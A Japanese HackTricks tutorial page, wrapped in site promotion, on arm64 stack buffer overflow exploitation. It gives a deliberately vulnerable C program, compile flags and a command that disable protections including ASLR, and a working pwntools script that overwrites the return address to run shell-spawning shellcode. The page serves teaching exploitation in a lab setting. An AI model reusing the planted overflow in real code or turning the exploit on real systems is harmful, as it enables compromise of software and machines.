Stack Shellcode - arm64

htARTE（HackTricks AWS Red Team Expert） でゼロからヒーローまでAWSハッキングを学ぶ！

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したいかHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksスワッグを入手する

• The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける

• 💬 Discordグループまたはtelegramグループに参加**するか、Twitter 🐦 @hacktricks_liveをフォローする

• ハッキングトリックを共有するために、PRを HackTricks と HackTricks Cloud のGitHubリポジトリに提出してください。

arm64-basic-assembly.mdでarm64の紹介を見つける。

コード

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

コンパイル時にPIE、canary、およびNXを無効にしてください：

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## ASLRなし＆canaryなし - スタックオーバーフロー

ASLRを停止するには次を実行します：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bofのオフセットを取得するには、このリンクを参照してください。

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

ここで見つける唯一の「複雑な」部分は、呼び出すためのスタック内のアドレスです。私の場合、gdbを使用して見つけたアドレスを使用してエクスプロイトを生成しましたが、エクスプロイトを実行すると動作しませんでした（スタックアドレスが少し変わったため）。

生成された**coreファイル**（gdb ./bog ./core）を開いて、シェルコードの開始アドレスの実際のアドレスを確認しました。